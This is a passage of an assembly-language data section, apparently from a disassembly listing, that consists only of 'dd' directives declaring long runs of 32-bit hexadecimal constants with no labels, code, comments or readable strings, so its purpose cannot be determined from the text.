		dd 0BB43E400h, 0E2473666h, 0B4CA721Dh, 747C2C7Ch, 37006A46h
		dd 8986ECEDh, 4090C6D2h, 76E204ADh, 9C5EC047h, 0A34E07CBh
		dd 0E41AFAB0h, 744880E1h, 7F6B7082h, 11541D60h,	0A07D8F68h
		dd 16589766h, 58A14C10h, 8C0BE8h, 0E989D7FAh, 0E0029A78h
		dd 52FD90C2h, 0A0D45011h, 80CEE6C4h, 6C3AE073h,	90E52665h
		dd 3F4676h, 0B7698366h,	0FAD60D5Eh, 3C2CE11Ah, 7E8C6FBCh
		dd 6267397Ah, 0EB0C9500h, 64EC7D51h, 60788E24h,	0F611C42Ch
		dd 1A363503h, 9BF0A08Dh, 2F009381h, 0F10105C4h,	7B1816ACh
		dd 617560F7h, 8D2A8614h, 1DF97713h, 0EB23CC2Fh,	0BE6CC518h
		dd 3E5E75CCh, 0F4C89AEEh, 82CB024h, 0C507F536h,	8D570E46h
		dd 7CD38235h, 0F3491C9Bh, 0BD1EBD71h, 0C09A82E1h, 48469281h
		dd 46563896h, 5A30006Fh, 7F955047h, 0D86A3E71h,	4BBAE7D0h
		dd 0CE540553h, 108CF2EAh, 0F05DF32Fh, 48B048B8h, 0AC70B500h
		dd 4B3BADFAh, 1C5000E4h, 23A77936h, 3AF2CC93h, 6E0D477Ch
		dd 88760665h, 7718FAF0h, 5110E621h, 0DC3888FDh,	0A8C0AECh
		dd 0FAFB3B79h, 9F1140E0h, 870AD852h, 0A8E95E99h, 796A7B05h
		dd 0D31D1490h, 2D722D74h, 6986C801h, 0FD4464EEh, 96121F8h
		dd 0C2DE8919h, 74FC9B01h, 4A01879Ch, 44D468F6h,	0D087467Eh
		dd 405C7396h, 91F7D6CFh, 625B5606h, 244806BDh, 50B558Fh
		dd 468B87F6h, 0B1EF9CD8h, 0D750AD00h, 0E8E338ABh, 3E130034h
		dd 929CFA1Bh, 0BC1E2A26h, 9FA547Ch, 0E4BB94F6h,	81F80C80h
		dd 26B9FAAAh, 62B1F31Ah, 96070C9h, 0DB8EF705h, 0A0BE7040h
		dd 0B5305098h, 0CEDA9835h, 0A16C1D8Ah, 82F2538Dh, 30890E6Ch
		dd 0C6221802h, 20CF092Bh, 9C107E18h, 27C1C0E0h,	0DB5DDE88h
		dd 1A1DE91Dh, 2F255500h, 48146011h, 0D880D09Bh,	651AECB3h
		dd 0B7660C03h, 0C0B4EB4Fh, 16F9FE3Dh, 12A8789h,	0B27A9848h
		dd 0C706CA6h, 0C8F025F5h, 0DCE64002h, 3503A33Eh, 701F59C6h
		dd 42517F90h, 447B9C3Dh, 0F4998E0h, 0E9A91E18h,	0C305C941h
		dd 47F863BAh, 827A15E1h, 50F406h, 0D53C41ADh, 6FE0DCA6h
		dd 582C496h, 0E8CF2EE7h, 402A4D68h, 0C80EDC5Fh,	2B8A78EBh
		dd 0A6F8C8C1h, 917360ADh, 942D4AFFh, 927A58C1h,	0B834FCFEh
		dd 0A1D2D52h, 724534A0h, 40913515h, 0C7F5B20Bh,	606E6494h
		dd 0EAC82F07h, 0DED5042Ah, 0CF786548h, 0C33D88ECh, 76A1FF79h
		dd 7D1B7128h, 64E000C4h, 7AD94FC0h, 815F07EEh, 0B1124418h
		dd 621DD291h, 3069F2ACh, 2A3507F2h, 3CB640C0h, 0C668B4B0h
		dd 0F5CE2A00h, 0BA594CCDh, 759D106Eh, 0B3EF1E6Ch, 58FA4506h
		dd 2FA54B11h, 0FB235Ch,	3844B56Dh, 0A1002691h, 553BA886h
		dd 336B610h, 64A40798h,	9A81A99h, 0C090F97Bh, 2C167520h
		dd 0A7B48EF4h, 0B911C97h, 0C6E18A80h, 1B679864h, 90803819h
		dd 4CF0FFCh, 82B1DAA9h,	2D2080D5h, 14A071E0h, 0B03E3124h
		dd 6AE69392h, 7B0A6C81h, 6054E971h, 69F270B2h, 0AEC41931h
		dd 8A881D7Ah, 0FCC101B5h, 0BEC5F2FDh, 0A2C61608h, 10C0B40Ch
		dd 7868BB2Bh, 0F239A420h, 0AA910893h, 529C3EFCh, 129811EDh
		dd 18F2C646h, 3414031h,	25B1BEF8h, 0D9B8EA5Dh, 18E479F0h
		dd 0B66100F4h, 94B7196Bh, 0A90ED952h, 23759C86h, 0A14382h
		dd 0D5023180h, 91103FC3h, 1D0F0378h, 758E9273h,	0D8783850h
		dd 8C09F880h, 30D32600h, 6343E469h, 0D2452564h,	610518C0h
		dd 0E22F1925h, 0AAAC4304h, 855222C5h, 3F24448h,	0F31FFA1Ah
		dd 1459E0h, 993AA4FBh, 0EA76BC07h, 0CCD89A01h, 13E1C561h
		dd 0F1A29823h, 0A88330h, 0E765C182h, 4812B31Dh,	0E0241809h
		dd 0E490C53Eh, 0E9D3601Eh, 6E810665h, 0F8735A6Dh, 99928612h
		dd 0EDF2E8F2h, 352AD033h, 196E125Eh, 0F9D804BDh, 0CDFD0306h
		dd 78C0DA60h, 82782444h, 41902672h, 2A97E365h, 0E723183Ah
		dd 8519A400h, 43F7E5Dh,	0F71A37DBh, 31E8F48Ch, 194F1801h
		dd 0BE6CD426h, 0C878E875h, 8C38BCh, 0FB9AE4E7h,	0B5C4E91Eh
		dd 0C570231Dh, 1A15F7C0h, 47B425Ch, 1B78BD2Dh, 0B8CCA958h
		dd 1262EAF2h, 0DEBB31C8h, 0C8EB80D4h, 32EBCE2h,	4A5CB087h
		dd 6900E79Bh, 0B451625Dh, 2C8665DFh, 0BDEF947h,	3CE5A93Eh
		dd 0BE60E1E4h, 0FA0BAE35h, 100E2952h, 84E62AC0h, 4FE06087h
		dd 2EF6D70Dh, 8548B93h,	8D1E6D4Eh, 0A466B085h, 0D24ACCC0h
		dd 500E25F0h, 9B1D6010h, 289A7A09h, 6450C770h, 0D6D16067h
		dd 6E442CECh, 73DB8B74h, 34F94CCAh, 3618F279h, 0A4E53C1Dh
		dd 5B8DF040h, 257B5A15h, 442272B2h, 0E3E12B4Ah,	0BC28789Ah
		dd 3E068C1Fh, 0F2928279h, 0D11A1751h, 0FC5483E8h, 5100F59Bh
		dd 0A421E42Fh, 798FBEh
		dd 16508CF1h, 0EB42C8A8h, 0EE6E0C00h, 7B10C903h, 82C1EC9Ah
		dd 1410878h, 0E4D2E041h, 0EFA71984h, 0BCADAEh, 5375115Ch
		dd 48B68483h, 38008C33h, 4AB52C9Ch, 0E0125057h,	3C148DC2h
		dd 8CE1E8F8h, 0A0376F01h, 3FA552FCh, 0F842442Dh, 0C1471C00h
		dd 9B8588A6h, 0CC806094h, 364E6EA2h, 0D2E212h, 0E26BB96h
		dd 10BFAA8Fh, 0F9778500h, 0EDB1F028h, 4C68FD25h, 0D97AAD1Ah
		dd 6472F740h, 0B454A000h, 2A86B112h, 0B9489181h, 1B79AB80h
		dd 23B6EC90h, 0FF7A8709h, 7094DBE3h, 0D0032E1Ch, 456C0925h
		dd 8CB4E5BAh, 59F078BEh, 28BC2476h, 410F13E6h, 0A067EFA3h
		dd 5E2C5CDEh, 10A72549h, 0F1C030CDh, 12CE9EF6h,	5E568E6Ch
		dd 0C0124D98h, 0B75000A8h, 39C00898h, 0B96670FCh, 892E0EACh
		dd 0BC4B5B1Fh, 0D8104087h, 0DB567764h, 1EE18738h, 8111B332h
		dd 4798BCF4h, 0B0F22854h, 1303EB2h, 0A1FA099Bh,	48704B33h
		dd 0F062D230h, 0E14476h, 0F63806E0h, 0F59BC5F0h, 635AC303h
		dd 0A042F3E3h, 872BE4h,	0BB3C999Ah, 1623D79Ch, 0F3F67800h
		dd 0B0E6633Ah, 2CD5E8AEh, 1D60352Fh, 0BD75070Fh, 8A77C072h
		dd 6C33AF8Eh, 40CD29B5h, 63BD1821h, 1AC349DBh, 38A0A4A4h
		dd 9069B2Fh, 58B4DB50h,	1700D2B1h, 0C4086786h, 0B5B04F2h
		dd 72F740F6h, 0E075C898h, 98C86C2Ah, 622FCEF2h,	7C6021ECh
		dd 830538D1h, 288648ACh, 7EDC209Eh, 9D8A04B3h, 8869877Ch
		dd 83BFC518h, 4AF166F8h, 80709B10h, 3A0BAD9Ah, 3C4E585Eh
		dd 8F5A4075h, 0BCB4C622h, 0BC00DCD4h, 0DE64E4FCh, 1F6A57Ch
		dd 4AE9CDAh, 40F0E573h,	74201DD0h, 0D0881C90h, 500095B6h
		dd 0AF386484h, 4345BAh,	0F6F080CCh, 78BCEAC9h, 6557EB25h
		dd 61EAE4ACh, 9C31BC8Eh, 70B8A004h, 78C50ECh, 0E9F182B3h
		dd 3D2A12Fh, 19CC30F0h,	0C8813CB2h, 5507DA5Eh, 0C8F985C2h
		dd 0D3246A48h, 10100579h, 0E558814Ch, 6AE83131h, 0B7C47420h
		dd 25F80099h, 0DC4DE0F2h, 5500A26Dh, 0EE1A846Ch, 81CB7FFh
		dd 0C71E9A79h, 0AC67FB04h, 920CFCE9h, 6118F0AAh, 8EE6D22h
		dd 990EB1FAh, 9D6AFD04h, 720B5CACh, 0F01D77C1h,	6880F111h
		dd 75F7290Eh, 0B44B2403h, 9444E64Eh, 18D74F0h, 0BF4AC523h
		dd 605E1141h, 4340191Ch, 8D8A126Ch, 0E3ACC5F9h,	30FDA260h
		dd 903D9B2h, 9D6E96E9h,	88F3DD81h, 0F1E21052h, 3D7CD30h
		dd 0C9EAAD5Eh, 10A19628h, 71E4227Dh, 0F8BACE12h, 9D04F01Fh
		dd 0ACA76459h, 94EF7A0h, 0BF55C102h, 0C478E042h, 100F9FDCh
		dd 10000EA8h, 7EB713B4h, 0F92E4054h, 23B51200h,	61B08C8Fh
		dd 0D6D09E29h, 40196000h, 9AB1F6A8h, 0ADB388E7h, 0E0BAE7Bh
		dd 12C6D3E9h, 0CA7460F4h, 8C8B16Eh, 0A803E2BAh,	0BC0AB27Ah
		dd 7C201CF1h, 397B21DEh, 2521C51Dh, 1C91B015h, 8D34A280h
		dd 0A4B4FAF6h, 0BB429D3Ch, 4B05C9DEh, 40B26B61h, 0C1128A08h
		dd 7CC9111Eh, 8448D0F2h, 6D6E0864h, 0DA42551Ah,	462CE4D9h
		dd 0C7240249h, 1C146E2Eh, 0C75D5A1Fh, 0CD121807h, 39D2AFD0h
		dd 2B44908Eh, 393C68FDh, 0F618B782h, 9602E7A0h,	761074E8h
		dd 8A07FB46h, 8167FE4Fh, 60256BB1h, 909CBEEh, 0F8CD52F5h
		dd 2203EC44h, 6E09A3F8h, 0A2661A45h, 7E76F6ECh,	44EC0400h
		dd 2640B8CAh, 9809CCC4h, 1A45203h, 132664D1h, 3050D41Ch
		dd 0E4BC2EDDh, 58219B93h, 6EF497A3h, 0FF1E074Ch, 83446098h
		dd 0DE8B102Fh, 43559BA0h, 1090275Ch, 0E522E93Ah, 0F2448087h
		dd 0FD49D760h, 0E801907Ah, 0A611C6Ah, 5F3A8FF7h, 12529720h
		dd 3FAC41DFh, 68871088h, 8C3DBC9Ch, 0BF068101h,	0FCF17636h
		dd 0E0281AE5h, 8CEBB8h,	86049D8Fh, 88850E3Ch, 24002E7Ch
		dd 0DB7D14F3h, 0B5DD1AFEh, 8A8788Ah, 2403CD06h,	0DCFAEC6Eh
		dd 0FB02D0B9h, 91882A04h, 0CBED23C0h, 26B0A00h,	0CD9EA91Bh
		dd 920F1413h, 194FAC0Ch, 0CCFFB020h, 9C1C12C3h,	0B9C3139Ah
		dd 0BDEE0460h, 0B0B8E4h, 0F26E1EDh, 0D0D8D701h,	21E0CA00h
		dd 39F65C27h, 9A114058h, 912097B7h, 3ECB801Eh, 0E25055BCh
		dd 13ABFA93h, 0C28B8863h, 6C601428h, 5F0019F5h,	0E012C1A4h
		dd 4E193C0h, 2E28F795h,	0E810B8BDh, 0BE048C09h,	496AFB58h
		dd 29334FCh, 0D0AC73FCh, 5265E460h, 49F70580h, 62035012h
		dd 38D25C75h, 0F2B4A2E5h, 0FC803238h, 0A0C9737Ah, 7B0A7D04h
		dd 20E00292h, 163678F1h, 91C72EB2h, 82ED9DB0h, 0F703F0A0h
		dd 0E68CC959h, 5834C2C9h, 0E0760028h, 0B6E3FC7Eh, 18BE9AF6h
		dd 0A8B5118Ah, 0D1DECE05h, 3E88509Eh, 5B534DC0h, 8FEC04BFh
		dd 0AC200E91h, 42C5E248h, 78E05B2Ch, 16098D9h, 4A8D7951h
		dd 0E122001Ah, 0EA05AC6Eh, 9F5C45D8h, 0BC912B0h, 0AE2A9003h
		dd 74F9007Eh, 107A5C2Bh, 0E700DEE3h, 0FE041F8Fh, 0C0E20DA4h
		dd 5B150769h, 0D5EA085Eh, 5AA91F00h, 99B957D9h,	27FA0647h
		dd 0C0B010B8h, 7F022546h, 7378BCB5h, 3210EA31h,	0E300B577h
		dd 0D88678CCh, 16A6DEE9h, 0B0B644CEh, 0FD0224B4h, 1B9A753Dh
		dd 0D994F166h, 267D186Ah, 80C92BAh, 0E406D58Ah,	1C89F70Eh
		dd 9C9EDC36h, 9523408Bh, 0BE971D16h, 8F9ACE12h,	0A86CB020h
		dd 19099ADh, 0FADE92A1h, 311F832h, 2BBB4302h, 0A0F49AB6h
		dd 339FAB80h, 8F100EEh,	6AA7A031h, 77007013h, 7ADF265Ch
		dd 9517A4D5h, 0F017C89Bh, 54F30C1Eh, 0F90E11h, 0FC236E2Ch
		dd 5CBA813h, 0F6D329CAh, 5B80E8C2h, 5E352421h, 0D4B730h
		dd 9DEB47AAh, 40ED3E38h, 101D6D12h, 0CCE2A404h,	15094A42h
		dd 0F4D0DEh, 4398EE03h,	0C8D3B4EFh, 0AD395A0Dh,	7CD8C178h
		dd 13572F7h, 0A8864F61h, 606BE4F2h, 5EF49D6Eh, 32248295h
		dd 6C1A00E6h, 73749688h, 40E24527h, 7D03A49Ch, 50299DE0h
		dd 6600B0C4h, 2FCB8CA8h, 3A173B01h, 128239CEh, 3572E013h
		dd 9885F048h, 0BEFCE707h, 246AB433h, 73E1B500h,	0FB3DBA88h
		dd 12C91E0h, 19CF41E0h,	4898896Ch, 72255BF8h, 7A280051h
		dd 0F6619C6h, 26CE6FA3h, 525B1A40h, 20C23E69h, 0E095AB11h
		dd 805D4E18h, 0E5ABBEFh, 0CDE24840h, 0E0D0A16Bh, 0AF590F8Bh
		dd 920078Fh, 0F9F47D47h, 6E17A2F0h, 0C0468A65h,	5A8952ADh
		dd 6ED4C814h, 0F5A1F401h, 7DBAB711h, 0EB30FCh, 1E0DD6E0h
		dd 97943BADh, 0FE709D1Ch, 35F62800h, 4D6D6C13h,	0DE03D8C6h
		dd 0DDEF25F4h, 2F00825h, 0D20B1D9Ch, 0F65220D8h, 497134Bh
		dd 28D26788h, 0FD091291h, 0ACF8B172h, 56827A0Ch, 0E56140EAh
		dd 0C4513429h, 1981E4FDh, 9287AB50h, 4EC830E6h,	0E76524A8h
		dd 407F9881h, 0C23FEF0h, 1001DCC1h, 0D6804351h,	1F001CFAh
		dd 0E6268D88h, 0E93E026h, 0D29A6020h, 4A7A99h, 0D85B21EDh
		dd 0DC972381h, 0CDAB4803h, 29AD355h, 7D627479h,	5CC0B472h
		dd 5E25CF0Fh, 9D3429C0h, 80091104h, 5060B3DAh, 0A0D36486h
		dd 6D6E02E0h, 0B78D622h, 4070819Dh, 91449797h, 9886826Ah
		dd 1E88C02Ch, 0E03181FAh, 364BEC81h, 2B2B0C89h,	6A2368h
		dd 0F77DBF75h, 114CF06Bh, 0E85A101Ch, 10255D18h, 0CE81FEA2h
		dd 19CCA048h, 0D845CA44h, 0A123D861h, 4FC678D4h, 3BF4802h
		dd 0D985AF9h, 63A26CE6h, 8EF6C430h, 0E290E350h,	22077B27h
		dd 73F582C8h, 7498A6BCh, 0C50EEB46h, 614282A9h,	78518CF7h
		dd 1A0D7204h, 16175C14h, 0A0D4E7C1h, 2CDFC215h,	3DA5A103h
		dd 0E0887282h, 6C5E0578h, 0EFF242h, 0EAD47087h,	37983EB0h
		dd 7E86C0Dh, 0B2E108B3h
		dd 0B630ECBCh, 1DFD7E10h, 4AB1D31Fh, 0DF84A0E7h, 0FC52F4E3h
		dd 0CC819FE5h, 6AC8F803h, 4222D821h, 78E49E02h,	0C15409BDh
		dd 242B74B8h, 8020BCA0h, 38CD4FFAh, 42720008h, 0A5C3946Eh
		dd 73075AC2h, 86DEF34Ch, 44D8838Eh, 0E708C325h,	0B77459E9h
		dd 62F4CA89h, 870268DAh, 0A8F4DACEh, 80E4F0FCh,	2B976D61h
		dd 27144E14h, 5C679571h, 0DE6032C4h, 0C0006EB8h, 0CB52FAFEh
		dd 1FF18848h, 2A6A7885h, 611A17F8h, 0C8688BA9h,	3B57C209h
		dd 2B896861h, 0A83A8813h, 4200ED23h, 50A85DADh,	0FC6209E4h
		dd 0B470F572h, 0E68F1309h, 37CF00Ah, 7E253053h,	88F2F72Eh
		dd 0C18CECA4h, 7A5FB2F0h, 3F23243Bh, 22A90300h,	7531F29h
		dd 0D97B1AB4h, 0D3694444h, 42AAC0C8h, 0E4005878h, 2A35250h
		dd 77238Dh, 0B6271DFEh,	0F751A5Ah, 48A3B8D2h, 0F53068B2h
		dd 313C01F2h, 9BD34213h, 7441BB1Ah, 765CF074h, 8F861B18h
		dd 7273A2C9h, 2185057Ch, 0D0BF1274h, 15F686E0h,	0F04444B0h
		dd 137E122Dh, 4FC003BDh, 0F180276Eh, 559296Ah, 0AE920880h
		dd 1AFB04E5h, 26B4A827h, 0B1E41CF6h, 0A2E7A497h, 0D930D179h
		dd 0E9B183Eh, 97E0344Fh, 0AE6C2AE0h, 0E090147Fh, 6DCA20h
		dd 1799B585h, 108628AAh, 0A8F68F04h, 3AAEA466h,	3FE23ACh
		dd 9DD211B8h, 8FA893C3h, 0F050D890h, 0FE248D4Ch, 0A8AC38C2h
		dd 7190518h, 6C2644EFh,	1787D2Dh, 2EC68DF0h, 6D1909FBh
		dd 0A0675DE6h, 0C1603F64h, 0D200D0F4h, 4ED64339h, 9A05B4Bh
		dd 798D1BABh, 0C709053h, 7B1912D6h, 0A942943h, 0C7328850h
		dd 0D302005Ch, 4D7227C4h, 6EA00750h, 108E2E5Fh,	0B4C06988h
		dd 984F104Eh, 123000A8h, 0FC6E2379h, 7C961DFAh,	6D465Ch
		dd 0EB4B25D5h, 12E38830h, 53C6D3B9h, 88D8CE18h,	7647C0FCh
		dd 0F10FE3D6h, 84A19722h, 1AB9572h, 7A91C2FCh, 611C00E2h
		dd 0D75F0043h, 4FAEC66h, 794851B5h, 94947398h, 1089741Ch
		dd 0D9F87170h, 242F196Ch, 2D9CA894h, 31F8C8DFh,	132FF31Bh
		dd 0B2F0F328h, 34983067h, 627FC090h, 2F2A2581h,	6C2310h
		dd 97B6CED4h, 632D60ACh, 0AEB891F0h, 3B1AB911h,	94E91024h
		dd 421CAEECh, 4AC0D085h, 772A0E8Ah, 4BCE5B80h, 0B806E5A4h
		dd 20E4A162h, 64EDEE07h, 0A7EB98FBh, 8EA28F10h,	1F18F0D7h
		dd 976302C3h, 26E2002Fh, 59443698h, 7404E170h, 2C07E0A1h
		dd 14C21CACh, 607DD524h, 1DE0B914h, 1F0DB305h, 0F5F6C316h
		dd 0F2A11806h, 0EC0ED87Eh, 0C992906h, 342976EBh, 62017EEh
		dd 495C7E18h, 4A99443Ah, 25E588CCh, 1859C77Ah, 0D6186979h
		dd 19DE2909h, 4258C8AEh, 7C3E008Bh, 973512FDh, 9495B0BFh
		dd 811D7458h, 7AC46DADh, 2C0D9209h, 425C59EEh, 10907CFh
		dd 46E08CB0h, 0B14AB230h, 82999028h, 70117275h,	4C189534h
		dd 5324AFBh, 13823115h,	368D52E0h, 9F90F982h, 0DB10DFDh
		dd 18302A18h, 0E9E56C9h, 0CF76CD24h, 28413140h,	772712AAh
		dd 8000B51Ah, 478A191Bh, 8E0BFC8Bh, 0C2AD95C6h,	0E43447DCh
		dd 837D60FBh, 0C3700019h, 918852F5h, 0D3098A6Ch, 211EC2E6h
		dd 9A85134Ch, 638F98D3h, 25881D6Ch, 46650E2Dh, 1EC0B752h
		dd 0CE0622B3h, 2C40C14Ah, 0BA02ABCh, 7021E4F2h,	2BFAF846h
		dd 30EC0412h, 3A8CE8ECh, 0DB898910h, 0F8F9AD1Dh, 126D6E84h
		dd 30E98F8h, 0C1C53EC9h, 0B83CED77h, 78F63F34h,	2CE554AFh
		dd 760FEE4h, 19000A3Bh,	261070CAh, 9DF06E61h, 0D1B98890h
		dd 0F62A8DF8h, 864C907Eh, 54F710D8h, 402CF338h,	78E202A3h
		dd 4052CB85h, 40F990D2h, 950EAEB8h, 612EB34Fh, 0AC8EC2E0h
		dd 417D3060h, 3C342B02h, 0DE4D24C2h, 0E62D30h, 0A0676127h
		dd 0C6B1D834h, 54EA80E1h, 14760C00h, 7E36A75Fh,	5207D8Eh
		dd 0B410BFB5h, 0AC00E91Dh, 71100FEh, 618A7FBFh,	8C394A16h
		dd 2BF9F087h, 0C5937C31h, 1FA95E4h, 7FA66C29h, 7C0D6AF1h
		dd 0C47309B0h, 44FC5154h, 93F640FFh, 4B77ACh, 0CCCA232Eh
		dd 0EC656176h, 0CB3DD8A6h, 172925D5h, 8038113Ch, 0DE2AFC53h
		dd 0E2AD29E6h, 0E859255Ch, 0D5183479h, 1E2A9516h, 0CEB6C004h
		dd 7562FB02h, 35970CD0h, 806B9120h, 0F6323350h,	1410F476h
		dd 9C6B559Dh, 80D0DB4Bh, 0A30C70Eh, 0A0977CEDh,	8342FAC4h
		dd 6C90484h, 387AEAh, 13E0B4E4h, 69084Ch, 523804F2h, 9A7AADDCh
		dd 0B003E25Ah, 9B1CCC9h, 16656E38h, 0F8F94C42h,	9D468760h
		dd 1E0E00E7h, 7B10F0A9h, 8FFE3EB2h, 0B0BE8C90h,	612438DEh
		dd 5AABE12h, 3EFEA6F4h,	6A23D0h, 20697776h, 0D1EFE26h
		dd 86D68F0Eh, 0DC7270A1h, 3D30E8F2h, 5F3F0C42h,	9BE01FFDh
		dd 59E944h, 96A0C9C5h, 910F7095h, 2A00307Fh, 25AF56F6h
		dd 2F110C5Ch, 786D8BC7h, 9800BFEFh, 556B79DDh, 0D87E00E0h
		dd 4FDB1AFEh, 0E4B89A9Ch, 12E81620h, 0BDED25F5h, 125B838h
		dd 135AA350h, 2143DDC7h, 1D886C53h, 0A16D5B7Fh,	0FF0C63ACh
		dd 0B568407Bh, 0E0132625h, 0E076C03Ah, 0BB2C7808h, 0A078982Bh
		dd 2695C118h, 74106386h, 5003246h, 0C4516DA2h, 3B3DDC03h
		dd 4AC4525Eh, 413C746Eh, 0C46DF03h, 0C94899F9h,	51517E9Ch
		dd 0B8C829D4h, 9ED60046h, 2699B59h, 78BDFC0Dh, 7A308095h
		dd 5A72F4DEh, 0F79417C1h, 0C09A5B48h, 7A4BE280h, 0E3F403FAh
		dd 856B69C7h, 0A68A9410h, 0DA274A80h, 0C031C884h, 0F75CA0Eh
		dd 36349000h, 1365A9E0h, 0F0700087h, 6BF708BAh,	939F8688h
		dd 0E933B894h, 5D7300F2h, 5171EAECh, 0E899A110h, 41809D1h
		dd 501A4902h, 56F4EB52h, 506DE4B4h, 0A77C05E0h,	8A9F58Bh
		dd 0B048BB8h, 82F71E40h, 131A78C8h, 94FA766h, 3C802551h
		dd 63AECF99h, 87F921DEh, 0BF9F6597h, 49649D90h,	0E9FC02DAh
		dd 141C9A57h, 60BAA860h, 0C0F50380h, 26867439h,	5A5DE6D3h
		dd 0E8A458D0h, 0C008EFBh, 36EEB92Dh, 31CE8F86h,	0E50D2FAh
		dd 0F8382B67h, 6B4F41FDh, 0E0E25412h, 3630F7F2h, 8FE50BEDh
		dd 0A4608AEEh, 0C24C9B65h, 5818264Ch, 44A29A13h, 31F12207h
		dd 20BEF7CEh, 1AE84E91h, 0E9E7E10Bh, 797C8446h,	77675540h
		dd 6098AA80h, 39200244h, 1480226Bh, 321F4CDFh, 0E70134F8h
		dd 561D3124h, 162F2D7Ch, 0A46FB4h, 0D591FC14h, 10C3261Dh
		dd 1C587946h, 7C9D42CEh, 7D64622Dh, 0DE63E832h,	0C31B3CB0h
		dd 0D1542C09h, 614C543Ah, 0FCFD2623h, 5220B1F1h, 0B01312E3h
		dd 9854A886h, 75A01FDCh, 0D31D17B6h, 0AA800B8Bh, 0AD304858h
		dd 71ECA97Fh, 753E00CEh, 0C3FC87E4h, 0C2095DA9h, 78556AF0h
		dd 0DE98278Ch, 4B96A007h, 0CD0000F3h, 3A4D310h,	8E6D186Eh
		dd 2BA6067h, 330C9095h,	0E8DD0064h, 36C07FACh, 0D901AF87h
		dd 0F493D134h, 0F84111EEh, 0B407CCD2h, 5F688110h, 0F86603F0h
		dd 7C4AF120h, 2DCA0AFEh, 61EC9BF7h, 2B074152h, 0B8855001h
		dd 252BE80Fh, 0B11C8070h, 0E02D77AEh, 93B4A775h, 2037EED0h
		dd 0C0E14AC9h, 90B3666Ch, 0CB520810h, 8F896C01h, 32991EA2h
		dd 0D0AD241Ch, 77AB9A40h, 92E40121h, 7D7A16D5h,	417C01Dh
		dd 48D5A148h, 10805BAAh, 1658D070h, 3227E80h, 614BEFA4h
		dd 83A8C98Dh, 0AB7984B8h, 0F020027Fh, 72E0A41Fh, 8D177C64h
		dd 98465EEEh, 0B39C10Eh, 0EDE6827Ah, 0F141D02Fh, 7DC3F803h
		dd 87860790h, 38AC6AD6h, 0F23061Fh, 10F236CFh, 12F0BC58h
		dd 3CD1E3EAh, 9803EF39h, 81F36101h, 0BBA39DC6h,	23F43A6Ah
		dd 2AD12EAh
		dd 0E6AB8F05h, 6058D262h, 1CE3284Bh, 0EE30E9A2h, 8A652D6Ch
		dd 3C5434C2h, 0A1CF5E62h, 8FA67298h, 0EA88304Bh, 66DCA6C2h
		dd 0CDD30130h, 217BF420h, 0BF6AE416h, 0CFA3A007h, 0B2B135F7h
		dd 0A040D332h, 0ABF80EF0h, 5A3C809Ch, 288059Bh,	884BB0DBh
		dd 0E3729318h, 0CDF9C413h, 0AC6FD824h, 9860530Bh, 6492E890h
		dd 0B15C4E00h, 97CDF63Dh, 8D1D1DBAh, 577940F0h,	6186C35Ah
		dd 70C254Ch, 422D3D19h,	0A4FCC0A5h, 81F4F616h, 600A8858h
		dd 0C88A7D54h, 0E89B5CB4h, 4AA67A4Bh, 7938A286h, 0DB89CD00h
		dd 7AB065D0h, 43E64E8Ah, 0ADAB4858h, 9B0049A6h,	83E113Ch
		dd 3DB8F286h, 9389B18Bh, 4C59CDA2h, 2934F380h, 95BAF92Bh
		dd 17AD1C95h, 8F69915Ch, 423BC09Eh, 12D42A27h, 151567Ch
		dd 36C37828h, 0C46311h,	7D7F131Eh, 4C6A3Dh, 0F5AD27DDh
		dd 451ACBF8h, 0B6C95D0Bh, 110C9D2Ah, 0AE7A803Eh, 5CD2E69h
		dd 0D0CACE87h, 3C64B4BAh, 3F3FCC89h, 3FD2388h, 0C33652E6h
		dd 80A4E8B4h, 73AB8A4Eh, 0ECC11E22h, 0C0B45ED2h, 1A163575h
		dd 4704235Ch, 42C062FFh, 60C5h,	0D31FCF31h, 952C9892h
		dd 0B110741Bh, 6E5B99D7h, 0D8630078h, 0FC9CCB5Ch, 6C46953Fh
		dd 7DB702EDh, 0F4FBC80Bh, 0D28BE70h, 91D88CC1h,	5C387FA0h
		dd 8EEF5FCDh, 0C0FEC868h, 0DB225183h, 4B1FCA00h, 1989FCAAh
		dd 94ED9D26h, 0E04AD9C2h, 1725CA31h, 120C7C20h,	1050F26Ah
		dd 0C05F5376h, 9093F778h, 3A715C39h, 0A67389BFh, 112C9D77h
		dd 0C44580FDh, 7A52DB58h, 0E81259D6h, 0C4BB0814h, 0A410702Fh
		dd 0E283F5EAh, 82A05477h, 0F882E6EDh, 44E42Bh, 9B96AC93h
		dd 594A7B2Fh, 0C20294BEh, 0F4C5EA99h, 6D467650h, 48E7A001h
		dd 0D00B81B0h, 0C6278D2Ch, 0C11CC2D6h, 4C6CE2AEh, 0AECF070Bh
		dd 755F6C58h, 98B57480h, 7371C030h, 0A34F2BF7h,	80AF9739h
		dd 1ADC8996h, 9B71BA2h,	7511B390h, 465E68D4h, 293F00EAh
		dd 47822368h, 0B798031Eh, 0FB36927Ah, 0D42DF828h, 26EEEF0Ch
		dd 8DA0EBh, 345E796h, 0BE7A9F0Eh, 581B7009h, 6E9784F5h
		dd 43060081h, 6D802D7Eh, 9AA848h, 52F1C22Fh, 0F68DF746h
		dd 467E70BCh, 226F00FDh, 0CEEDE07Dh, 4265A64h, 0F8C8AD60h
		dd 40F24A84h, 9B3168F2h, 668E8C3Ch, 0A407E0A0h,	0E3000DDFh
		dd 0D0FB9A4Eh, 2DC8D99h, 679340A5h, 3A55B051h, 1130977Ch
		dd 7DE6816Ah, 64E2AEEFh, 62731F58h, 4CA4EF99h, 52FB432Ch
		dd 10F89CA1h, 89CBEE7Eh, 4FD80818h, 2F2CB299h, 0E4F865E7h
		dd 842760E7h, 4C671D17h, 12D8C1A7h, 3BDA99D9h, 0AD0E9012h
		dd 72F6A2A8h, 7BD0F0D4h, 0F8179D2Eh, 0D6806E91h, 2D7C3854h
		dd 0D9328003h, 25C38281h, 4C60EA68h, 8B166C23h,	78DA1DB4h
		dd 0A1F4CAC1h, 41D121D5h, 14597A6Ch, 1899E8A8h,	2F2E1086h
		dd 95B801FBh, 20AAC230h, 0C4012B6Eh, 4C5D0ED5h,	6DA23023h
		dd 0F457C30h, 9B43AAB0h, 0E893D840h, 2D25F716h,	0B90E4FFh
		dd 0CECF1513h, 6CEC1CE0h, 0FC80FE4Eh, 38872425h, 13CEB54Ah
		dd 65641E18h, 6B51FC5Bh, 0BA2EA718h, 3016D32Dh,	4180D8ACh
		dd 80E00CE1h, 6418D4F9h, 11100400h, 0DC855991h,	8E1A0241h
		dd 2A252B1Eh, 8864DC62h, 1CF4E49Dh, 1E256F8h, 87F192A0h
